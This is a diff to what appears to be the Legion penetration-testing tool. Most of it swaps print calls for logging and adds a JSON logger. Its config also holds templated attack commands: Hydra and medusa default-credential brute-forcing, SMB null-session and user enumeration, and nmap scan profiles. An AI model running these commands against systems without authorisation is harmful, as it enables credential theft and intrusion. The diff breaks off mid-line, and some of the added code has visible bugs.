b/legion.conf index 371de252..0304a947 100644 --- a/legion.conf +++ b/legion.conf @@ -1,112 +1,116 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + [GeneralSettings] default-terminal=gnome-terminal -tool-output-black-background=False -screenshooter-timeout=15000 -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" enable-scheduler=True enable-scheduler-on-import=False max-fast-processes=10 max-slow-processes=10 - -[BruteSettings] -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ -password-wordlist-path=/usr/share/wordlists/ -default-username=root -default-password=password -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -no-password-services="oracle-sid,rsh,smtp-enum" - -[StagedNmapSettings] -stage1-ports="T:80,443" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage5-ports=T:30000-65535 - -[ToolSettings] -nmap-path=/sbin/nmap -hydra-path=/usr/bin/hydra -cutycapt-path=/usr/bin/cutycapt -texteditor-path=/usr/bin/leafpad +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" [HostActions] -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v [PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -nikto=Run nikto, nikto -o \"[OUTPUT].txt\" -p [PORT] -h [IP], "http,https,ssl,soap,http-proxy,http-alt" +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", "telnet,ssh" dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt" -samrdump=Run samrdump, python /usr/share/doc/python-impacket/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nikto=Run nikto, nikto -o \"[OUTPUT].txt\" -p [PORT] -h [IP], "http,https,ssl,soap,http-proxy,http-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns +oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samrdump=Run samrdump, python /usr/share/doc/python-impacket/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -snmpcheck=Run snmpcheck, snmp-check -t [IP], "snmp,snmptrap" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -showmount=Show nfs shares, showmount -e [IP], nfs -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP], X11 -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" -rwho=Run rwho, rwho -a [IP], who -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmpcheck=Run snmpcheck, snmp-check -t [IP], "snmp,snmptrap" +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt" +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP], X11 [PortTerminalActions] -netcat=Open with netcat, nc -v [IP] [PORT], -telnet=Open with telnet, telnet [IP] [PORT], ftp=Open with ftp client, ftp [IP] [PORT], ftp -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, nc -v [IP] [PORT], psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], shell +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, telnet [IP] [PORT], vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rsh=Open with rsh, rsh -l root [IP], shell [SchedulerSettings] +enum4linux="netbios-ssn,microsoft-ds" +ftp-default=ftp, tcp +mssql-default=ms-sql-s, tcp +mysql-default=mysql, tcp +nbtscan=netbios-ns nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +oracle-default=oracle-tns, tcp +postgres-default=postgresql, tcp screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +smb-null-sessions="netbios-ssn,microsoft-ds" smbenum=microsoft-ds, tcp +smtp-enum-vrfy=smtp, tcp +snmp-default=snmp, udp snmpcheck=snmp, udp +sslscan="https,ssl", tcp x11screen=X11, tcp -snmp-default=snmp, udp -smtp-enum-vrfy=smtp, tcp -mysql-default=mysql, tcp -mssql-default=ms-sql-s, tcp -ftp-default=ftp, tcp -postgres-default=postgresql, tcp -oracle-default=oracle-tns, tcp + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage5-ports=T:30000-65535 + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/sbin/nmap +texteditor-path=/usr/bin/leafpad diff --git a/legion.py b/legion.py index 3f4ad14d..893c5d1c 100644 --- a/legion.py +++ b/legion.py @@ -16,14 +16,14 @@ from sqlalchemy.orm.scoping import ScopedSession as scoped_session #import elixir except ImportError as e: - print("[-] Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") + log.info("[-] Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") exit(1) try: from PyQt5 import QtWidgets, QtGui, QtCore except ImportError as e: - print("[-] Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") - print(e) + log.info("[-] Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") + log.info(e) exit(1) try: @@ -33,13 +33,14 @@ #from PySide import QtWebKit pass except ImportError: - print("[-] Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") + log.info("[-] Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") exit(1) from app.logic import * from ui.gui import * from ui.view import * from controller.controller import * +from stenoLogging import * # this class is used to catch events such as arrow key presses or close window (X) class MyEventFilter(QObject): @@ -91,7 +92,7 @@ def eventFilter(self, receiver, event): try: qss_file = open('./ui/legion.qss').read() except IOError as e: - print("[-] The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") + log.info("[-] The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") exit(0) diff --git a/parsers/Host.py b/parsers/Host.py index 4280ce3f..631ca434 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -125,26 +125,26 @@ def get_service( self, protocol, port ): host_node = dom.getElementsByTagName('host')[0] h = Host( host_node ) - print('host status: ' + h.status) - print('host ip: ' + h.ip) + log.info('host status: ' + h.status) + log.info('host ip: ' + h.ip) for port in h.get_ports( 'tcp', 'open' ): - print(port + " is open") + log.info(port + " is open") - print("script output:") + log.info("script output:") for scr in h.get_scripts(): - print("script id:" + scr.scriptId) - print("Output:") - print(scr.output) + log.info("script id:" + scr.scriptId) + log.info("Output:") + log.info(scr.output) - print("service of tcp port 80:") + log.info("service of tcp port 80:") s = h.get_service( 'tcp', '80' ) if s == None: - print("\tno service") + log.info("\tno service") else: - print("\t" + s.name) - print("\t" + s.product) - print("\t" + s.version) - print("\t" + s.extrainfo) - print("\t" + s.fingerprint) + log.info("\t" + s.name) + log.info("\t" + s.product) + log.info("\t" + s.version) + log.info("\t" + s.extrainfo) + log.info("\t" + s.fingerprint) diff --git a/parsers/OS.py b/parsers/OS.py index 03537684..602deb14 100644 --- a/parsers/OS.py +++ b/parsers/OS.py @@ -34,17 +34,17 @@ def __init__(self, OSNode): os = OS(osclass) - print(os.name) - print(os.family) - print(os.generation) - print(os.os_type) - print(os.vendor) - print(str(os.accuracy)) + log.info(os.name) + log.info(os.family) + log.info(os.generation) + log.info(os.os_type) + log.info(os.vendor) + log.info(str(os.accuracy)) os = OS(osmatch) - print(os.name) - print(os.family) - print(os.generation) - print(os.os_type) - print(os.vendor) - print(str(os.accuracy)) + log.info(os.name) + log.info(os.family) + log.info(os.generation) + log.info(os.os_type) + log.info(os.vendor) + log.info(str(os.accuracy)) diff --git a/parsers/Parser.py b/parsers/Parser.py index ddf63d90..9e74faa5 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -28,7 +28,7 @@ def __init__( self, xml_input ): __host = Host.Host(host_node) self.__hosts[__host.ip] = __host except Exception as ex: - print("\t[-] Parser error! Invalid nmap file!") + log.info("\t[-] Parser error! Invalid nmap file!") #logging.error(ex) raise @@ -104,45 +104,45 @@ def all_ips( self, status = '' ): parser = Parser( 'a-full.xml' ) - print('\nscan session:') + log.info('\nscan session:') session = parser.get_session() - print("\tstart time:\t" + session.start_time) - print("\tstop time:\t" + session.finish_time) - print("\tnmap version:\t" + session.nmap_version) - print("\tnmap args:\t" + session.scan_args) - print("\ttotal hosts:\t" + session.total_hosts) - print("\tup hosts:\t" + session.up_hosts) - print("\tdown hosts:\t" + session.down_hosts) + log.info("\tstart time:\t" + session.start_time) + log.info("\tstop time:\t" + session.finish_time) + log.info("\tnmap version:\t" + session.nmap_version) + log.info("\tnmap args:\t" + session.scan_args) + log.info("\ttotal hosts:\t" + session.total_hosts) + log.info("\tup hosts:\t" + session.up_hosts) + log.info("\tdown hosts:\t" + session.down_hosts) for h in parser.all_hosts(): - print('host ' +h.ip + ' is ' + h.status) + log.info('host ' +h.ip + ' is ' + h.status) for port in h.get_ports( 'tcp', 'open' ): - print("\t---------------------------------------------------") - print("\tservice of tcp port " + port + ":") + log.info("\t---------------------------------------------------") + log.info("\tservice of tcp port " + port + ":") s = h.get_service( 'tcp', port ) if s == None: - print("\t\tno service") + log.info("\t\tno service") else: - print("\t\t" + s.name) - print("\t\t" + s.product) - print("\t\t" + s.version) - print("\t\t" + s.extrainfo) - print("\t\t" + s.fingerprint) + log.info("\t\t" + s.name) + log.info("\t\t" + s.product) + log.info("\t\t" + s.version) + log.info("\t\t" + s.extrainfo) + log.info("\t\t" + s.fingerprint) - print("\tscript output:") + log.info("\tscript output:") sc = port.get_scripts() if sc == None: - print("\t\tno scripts") + log.info("\t\tno scripts") else: for scr in sc: - print("Script ID: " + scr.scriptId) - print("Output: ") - print(scr.output) + log.info("Script ID: " + scr.scriptId) + log.info("Output: ") + log.info(scr.output) - print("\t---------------------------------------------------") + log.info("\t---------------------------------------------------") diff --git a/parsers/Script.py b/parsers/Script.py index 18904e77..be61ec78 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -23,5 +23,5 @@ def __init__(self, ScriptNode): for scriptNode in dom.getElementsByTagName('script'): script = Script(scriptNode) - print(script.scriptId) - print(script.output) + log.info(script.scriptId) + log.info(script.output) diff --git a/parsers/Service.py b/parsers/Service.py index 4d2f311f..91ce989d 100644 --- a/parsers/Service.py +++ b/parsers/Service.py @@ -33,8 +33,8 @@ def __init__( self, ServiceNode ): node = dom.getElementsByTagName('service')[0] s = Service( node ) - print(s.name) - print(s.product) - print(s.version) - print(s.extrainfo) - print(s.fingerprint) + log.info(s.name) + log.info(s.product) + log.info(s.version) + log.info(s.extrainfo) + log.info(s.fingerprint) diff --git a/parsers/Session.py b/parsers/Session.py index ef035ef1..daf8a06f 100644 --- a/parsers/Session.py +++ b/parsers/Session.py @@ -25,10 +25,10 @@ def __init__( self, SessionHT ): s = Session( MySession ) - print('start_time:' + s.start_time) - print('finish_time:' + s.finish_time) - print('nmap_version:' + s.nmap_version) - print('nmap_args:' + s.scan_args) - print('total hosts:' + s.total_hosts) - print('up hosts:' + s.up_hosts) - print('down hosts:' + s.down_hosts) + log.info('start_time:' + s.start_time) + log.info('finish_time:' + s.finish_time) + log.info('nmap_version:' + s.nmap_version) + log.info('nmap_args:' + s.scan_args) + log.info('total hosts:' + s.total_hosts) + log.info('up hosts:' + s.up_hosts) + log.info('down hosts:' + s.down_hosts) diff --git a/scripts/snmpbrute.py b/scripts/snmpbrute.py index 3e13709c..97a68a45 100644 --- a/scripts/snmpbrute.py +++ b/scripts/snmpbrute.py @@ -410,7 +410,7 @@ def enumerateSNMPWalk(result,options): print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge' print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---' for j in range(lines): - print( '\t'+entry['Destination'][j].strip().ljust(12,' ') + + log.info( '\t'+entry['Destination'][j].strip().ljust(12,' ') + '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + '\t'+entry['Mask'][j].strip().ljust(12,' ') + '\t\t'+entry['Metric'][j].strip().center(6,' ') + @@ -440,7 +440,7 @@ def enumerateSNMPWalk(result,options): print '\tIP\t\tMAC\t\t\tV' print '\t--\t\t---\t\t\t--' for j in range(lines): - print( '\t'+entry['IP'][j].strip().ljust(12,' ') + + log.info( '\t'+entry['IP'][j].strip().ljust(12,' ') + '\t'+entry['MAC'][j].strip().ljust(18,' ') + '\t'+entry['V'][j].strip().ljust(2,' ') ) diff --git a/stenoLogging.py b/stenoLogging.py new file mode 100644 index 00000000..65938b8c --- /dev/null +++ b/stenoLogging.py @@ -0,0 +1,191 @@ +import json +import inspect +import time +import logging +import traceback +from functools import wraps +import collections +from logging.handlers import RotatingFileHandler +json.encoder.c_make_encoder = None + +_SUPPORTED_KWARGS = ['data', 'context', 'id'] +_KEY_ORDER = {'time': 0, 'name': 1, 'level': 2, 'data': 3, + 'exception': 4, 'context': 5, 'id': 6} +raiseExceptions = True + +def key_func(k): + return _KEY_ORDER.get(k, 10) + +class StenoFormatter(logging.Formatter): + def __init__(self, fmt=None, datefmt=None): + super(StenoFormatter, self).__init__(fmt, datefmt) + + def formatException(self, ei): + """ + Format and return the specified exception information as a string. + + This default implementation just uses + traceback.print_exception() + """ + exc_type, exc_value, exc_traceback = ei + traceback_formated = [lines.strip() for lines in traceback.format_tb(exc_traceback)] + exc_obj = { + "exception":{ + "type": exc_type.__name__, + "message": exc_value.message, + "traceback": traceback_formated, + "data": {} + }} + return exc_obj + + def format(self, record): + record.message = record.getMessage() + if self.usesTime(): + record.asctime = self.formatTime(record, self.datefmt) + json_log = { + 'name': record.message, + 'level': record.levelname, + 'time': self.formatTime(record, self.datefmt), + 'data': { + 'logger_name': record.name, + }, + 'context': { + 'module': record.__dict__.get('module'), + 'filename': record.__dict__.get('filename'), + 'line': record.lineno + }} + # Add supported attribute + for k, val in record.__dict__.items(): + if k in _SUPPORTED_KWARGS: + if k == 'id': + json_log[k] = val + else: + json_log[k].update(val) + + #print record.__dict__ + # Handle Exception + if record.exc_info: + exc_obj = self.formatException(record.exc_info) + json_log.update(exc_obj) + + # Set log output key order + ordered_json_log = collections.OrderedDict( + sorted(json_log.items(), key=lambda t: key_func(t[0]))) + jsons_log = json.dumps(ordered_json_log) + return jsons_log + +class StenoLogger(logging.Logger): + def __init__(self, name, level=logging.NOTSET, raiseExceptions=raiseExceptions): + super(StenoLogger, self).__init__(name, level) + + def _parse_extra(self, kwargs): + extra={k: val for k, val in kwargs.items() if k in _SUPPORTED_KWARGS} + kwargs={k: val for k, val in kwargs.items() if k not in _SUPPORTED_KWARGS} + kwargs.update({'extra': extra}) + return kwargs + + def debug(self, msg, *args, **kwargs): + if self.isEnabledFor(logging.DEBUG): + self._log(logging.DEBUG, msg, args, **self._parse_extra(kwargs)) + + def info(self, msg, *args, **kwargs): + if self.isEnabledFor(logging.INFO): + self._log(logging.INFO, msg, args, **self._parse_extra(kwargs)) + + def warning(self, msg, *args, **kwargs): + if self.isEnabledFor(logging.WARNING): + self._log(logging.WARNING, msg, args, **self._parse_extra(kwargs)) + + def error(self, msg, *args, **kwargs): + if self.isEnabledFor(logging.ERROR): + self._log(logging.ERROR, msg, args, **self._parse_extra(kwargs)) + + def critical(self, msg, *args, **kwargs): + if self.isEnabledFor(logging.CRITICAL): + self._log(logging.CRITICAL, msg, args, **self._parse_extra(kwargs)) + + def log(self, level, msg, *args, **kwargs): + if not isinstance(level, int): + if self.raiseExceptions: + raise TypeError("level must be an integer") + else: + return + if self.isEnabledFor(level): + self._log(level, msg, args, **self._parse_extra(kwargs)) + +def get_logger(name, path=None): + logging.setLoggerClass(StenoLogger) + logger = logging.getLogger(name) + shdlr = logging.StreamHandler() + shdlr.setFormatter(StenoFormatter()) + logger.addHandler(shdlr) + if path: + fhdlr = RotatingFileHandler(path) + fhdlr.setFormatter(StenoFormatter()) + logger.addHandler(fhdlr) + return logger + +def extractParams(f, args, kwargs, matchParam): + """Find the value of a parameter by name, even if it was passed via *args or is a default value. + """ + if matchParam in kwargs: + return kwargs[matchParam] + else: + #argspec = inspect.getargspec(f) + argspec = inspect.getfullargspec(f) + if matchParam in argspec.args: + pIndex = argspec.args.index(matchParam) + if len(args) > pIndex: + return args[pIndex] + if argspec.defaults is not None: + dIndex = pIndex - len(argspec.args) + len(argspec.defaults) + if 0 <= defaults_index < len(argspec.defaults): + return argspec.defaults[dIndex] + raise LoggerBadCallerParametersException("Caller didn't provide a required positional parameter '%s' at index %d", matchParam, pIndex) + else: + raise LoggerUnknownParamException("Unknown param %s(%r) on %s", type(matchParam), matchParam, f.__name__) + +class LoggerUnknownParamException(Exception): + pass + +class LoggerBadCallerParametersException(Exception): + pass + +def logEventDecorator(evt, evtSev='info', evtSevIssue='critical', logger=None, objIdAttr=None, objIdParam=None): + """Decorator to send events to the event log + You must pass in the event name, and may pass in some method of + obtaining an objectid from the decorated function's parameters or + return value. + objIdAttr: The name of an attr on the return value, to be + extracted via getattr(). + objIdParam: A string, specifies the name of the (kw)arg that + should be the objectid. + """ + def wrap(f): + @wraps(f) + def decorator(*args, **kwargs): + evtSevDict = {'info':20, 'critical':50} + timeStart = time.time() + try: + value = f(*args, **kwargs) + except Exception as e: + exceptionEvt = "There was an exception in " + exceptionEvt += f.__name__ + exceptionEvt += str(e) + logger.log(evtSevDict[evtSevIssue], exceptionEvt) + raise + timeEnd = time.time() + execTime = timeEnd - timeStart + evtSevObj = evtSevDict[evtSev] + if objIdAttr is not None: + evtObjIds = getattr(value, objIdAttr) + elif objIdParam is not None: + evtObjIds = extractParams(f, args, kwargs, objIdParam) + else: + evtObjIds = None + eventToLog = "event: {evt}, input parameter values: {evtObjIds}, result values: {value}, exec time: {execTime}s".format(evt=evt, evtObjIds=evtObjIds, value=value, execTime=execTime) + logger.log(evtSevObj, eventToLog) + return value + return decorator + return wrap + diff --git a/ui/settingsdialogs.py b/ui/settingsdialogs.py index c300b27d..8a7e937e 100644 --- a/ui/settingsdialogs.py +++ b/ui/settingsdialogs.py @@ -321,13 +321,13 @@ def switchTabClick(self): # LEO: this if self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) == 'Tools': self.previousToolTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) - print('previous tab is: ' + str(self.previousTab)) + log.info('previous tab is: ' + str(self.previousTab)) if self.validateCurrentTab(self.previousTab): # LEO: we don't care about the return value in this case. it's just for debug. - print('validation succeeded! switching tab! yay!') + log.info('validation succeeded! switching tab! yay!') # save the previous tab for the next time we switch tabs. TODO: not sure this should be inside the IF but makes sense to me. no point in saving the previous if there is no change.. self.previousTab = 